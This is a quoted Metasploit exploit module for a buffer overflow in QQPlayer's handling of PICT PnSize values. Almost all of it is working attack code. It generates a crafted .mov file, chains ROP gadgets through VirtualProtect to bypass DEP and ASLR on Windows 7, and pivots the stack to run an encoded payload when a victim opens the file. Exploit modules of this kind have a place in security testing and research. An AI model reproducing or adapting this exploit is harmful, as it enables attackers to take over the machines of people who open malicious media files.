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以下是引用片段：
# Exploit Title: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS
# Date: 2011,11,21
# Author: hellok
# Software Link: http://dl_dir.qq.com/invc/qqplayer/QQPlayer_Setup_32_845.exe
# Version: 32_845(lastest)
# Tested on: WIN7
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS',
'Description' => %q{
This module exploits a vulnerability in QQPLAYER Player 3.2.
When opening a .mov file containing a specially crafted PnSize value, an attacker
may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hellok', #special thank corelanc0d3r for 'mona'
],
'References' =>
[
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 750,
'BadChars' => "", #Memcpy
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops' => 'True',
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
},
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 7', { 'Ret' => 0x67664cde } ],
],
'Privileged' => false,
'DisclosureDate' => '11 21 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.mov' ]),
], self.class)
end
def exploit
# !mona rop
rop_gadgets =
[
0x00418007, # POP ECX # RETN (QQPlayer.exe)
0x12345678,
0x67664CE4,
0x01020304,
0x10203040,
0x22331122,
0x23456789,
0x00418007, # POP ECX # RETN (QQPlayer.exe)
0x00a9c18c, # <- *&VirtualProtect()
0x0054f100, # MOV EAX,DWORD PTR DS:[ECX] # RETN (QQPlayer.exe)
#0x008e750c, LEA ESI,EAX # RETN (QQPlayer.exe)
0x008cf099, # XCHG EAX,ESI # RETN
0x6497aaad, # POP EBP # RETN (avformat-52.dll)
0x100272bf, # ptr to 'call esp' (from i18nu.dll)
0x005fc00b, # POP EBX # RETN (QQPlayer.exe)
0x00000331, # <- change size to mark as executable if needed (-> ebx)
0x00418007, # POP ECX # RETN (QQPlayer.exe)
0x63d18000, # RW pointer (lpOldProtect) (-> ecx)
0x63d05001, # POP EDI # RETN (avutil-49.dll)
0x63d05002, # ROP NOP (-> edi)
0x008bf00b, # POP EDX # RETN (QQPlayer.exe)
0x00000040, # newProtect (0x40) (-> edx)
0x00468800, # POP EAX # RETN (QQPlayer.exe)
0x90909090, # NOPS (-> eax)
0x008bad5c, # PUSHAD # RETN (QQPlayer.exe)
# rop chain generated by mona.py
# note : this chain may not work out of the box
# you may have to change order or fix some gadgets,
# but it should give you a head start
].pack("V*")
stackpivot = [target.ret].pack('L')
buffer =rand_text_alpha_upper(90)#2
buffer << rop_gadgets
buffer << payload.encoded
junk = rand_text_alpha_upper(2306 - buffer.length)
buffer << junk
buffer << stackpivot
buffer << rand_text_alpha_upper(3000)#3000
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )
fd = File.open(path, "rb" )
sploit = fd.read(fd.stat.size)
fd.close
sploit << buffer
file_create(sploit)
end
end |